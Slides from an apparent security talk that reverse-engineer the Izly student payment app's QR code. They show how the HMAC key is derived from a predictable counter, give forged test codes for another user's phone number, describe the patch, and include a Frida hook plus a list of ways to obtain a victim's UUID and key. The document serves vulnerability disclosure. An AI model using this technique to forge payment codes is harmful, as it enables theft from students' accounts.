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What is Izly?

Izly is indispensable

• Checkout cashless

• Not always credit card available

• 1€ meals

• credit and social meals
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How the QR Code works?

AIZ; # QR Code type

33601234567; # phone number as a user ID

2022-11-26 20:11:51; # Date and time of QR Code creation

3; # QR Code type's Number

141739b44f3c79e8cdee7896b87b6d46f0a6e042 # HMAC of previous data
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How the source code works (reverse engineering)?

AIZ; # QR Code type

33601234567; # phone number as a user ID

2022-11-26 20:11:51; # Date and time of QR Code creation

3; # QR Code type's Number

141739b44f3c79e8cdee7896b87b6d46f0a6e042 # HMAC of previous data

public final String GenQRCodeText(Enum typeQrCode) {

String key = this.classkey.GetKey(this.phoneNumber)

[...]

String dataQrCode = typeQrCode.AIZ + ";"

+ this.phoneNumber + ";"

+ simpleDateFormat.format(new Date())

+ ";3";

return dataQrCode + ";"

+ classHash.genHmacSHA1(

dataQrCode + "+" this.loginData, key);

[...]

}

17



How the source code works (reverse engineering)?

public final String GetKey(String phoneNumber) {

[...]

String counterNbQRCode =

sharedPreferences.getString("sharedPrefHotpCounter", "");

[...]

key = counterNbQRCode.encode.hash()

[...]

}
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public final String GetKey(String phoneNumber) {

[...]

String counterNbQRCode =

sharedPreferences.getString("sharedPrefHotpCounter", "");

[...]

key = counterNbQRCode.encode.hash()
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edit.putString("sharedPrefHotpCounter",

Base64.encodeToString(0, Base64.URL_SAFE));
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How the source code works (reverse engineering)?

public final String GetKey(String phoneNumber) {

[...]

String counterNbQRCode =

sharedPreferences.getString("sharedPrefHotpCounter", "");

[...]

key = counterNbQRCode.encode.hash()

[...]

}

edit.putString("sharedPrefHotpCounter",

Base64.encodeToString(0, Base64.URL_SAFE));

edit.putString("sharedPrefHotpCounter",

Base64.encodeToString(counterNbQRCode + 1, Base64.URL_SAFE));
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How the source code works (reverse engineering)?
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Test

AIZ; # QR Code type

33601234567; # phone number as a user ID

2022-11-26 20:11:51; # Date and time of QR Code creation

3; # QR Code type's Number

141739b44f3c79e8cdee7896b87b6d46f0a6e042 # HMAC of previous data

23



Test

AIZ; # QR Code type

33601234567; # phone number as a user ID

2022-11-26 20:11:51; # Date and time of QR Code creation

3; # QR Code type's Number

/////////////////////////////////////////////////////////141739b44f3c79e8cdee7896b87b6d46f0a6e042 # HMAC of previous data

24



Test

AIZ; # QR Code type

33601234567; # phone number as a user ID

2022-11-26 20:11:51; # Date and time of QR Code creation

3; # QR Code type's Number

/////////////////////////////////////////////////////////141739b44f3c79e8cdee7896b87b6d46f0a6e042 # HMAC of previous data

25



Test

AIZ; # QR Code type

33797654321; # phone number as a user ID

2022-11-26 20:11:51; # Date and time of QR Code creation

3; # QR Code type's Number

/////////////////////////////////////////////////////////141739b44f3c79e8cdee7896b87b6d46f0a6e042 # HMAC of previous data
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Test

AIZ; # QR Code type

33797654321; # phone number as a user ID

2023-11-17 10:11:51; # Date and time of QR Code creation

3; # QR Code type's Number

/////////////////////////////////////////////////////////141739b44f3c79e8cdee7896b87b6d46f0a6e042 # HMAC of previous data
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Test

AIZ; # QR Code type

33797654321; # phone number as a user ID

2023-11-17 10:11:51; # Date and time of QR Code creation

3; # QR Code type's Number
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Vulnerability and exploitation

Attacker:

• Very easy and fast to do

• Zero click exploitation

• Only need the phone number

• Cannot be traced

• Cannot be caught in the act

Victim:

• Can only be notified with payment history

• Cannot protect against the attack

32



Report

33



Vulnerability impact

Translation: Money has been stolen from my account, I’ve been debited

for no reason and there’s NO ONE to help you: not Crous, no contact

phone number, unanswered e-mails. I hope stealing from students pays

off.
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Patch



Patch

AIZ; # QR Code type: Appli IZly

a87f7661-7be9-4381-a423-67c238bb3dde; # UUID

2023-07-08 15:58:24; # Code creation time

3; # Code type number

73d9c0958d315640c90292c6e92f05920552d307; # HmacSHA1 not checked

MEYCIQCcLB40kgofoTlawlX7RX4eMOig/dTrfJYdl

iJQpUSJEgIhAIfYfs0ovSErPdGloQ7gI61kG/atwV

sjmckX5hr+Uq5M # Signature SHA256 with ECDSA
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Patch

AIZ; # QR Code type: Appli IZly
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2023-07-08 15:58:24; # Code creation time

3; # Code type number
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Reproduce the exploit

Java.perform(function() {

console.log("[ * ] Starting implementation override...")

let Signature = Java.use("Md");

Signature["$init"].implementation = function (guid, key, [...]) {

console.log(`guid=$guid, key=$key, [...]`);

this["$init"](guid, key, [...]);

printBacktrace();

};
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Java.perform(function() {

console.log("[ * ] Starting implementation override...")

let Signature = Java.use("Md");
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Reproduce the exploit

• UUID: Take photo of the QR Code of the victim

• Private key: Have access one time to the account

• Private key and UUID: Hack Izly’s database

• Private key: Intercept HTTPS communication
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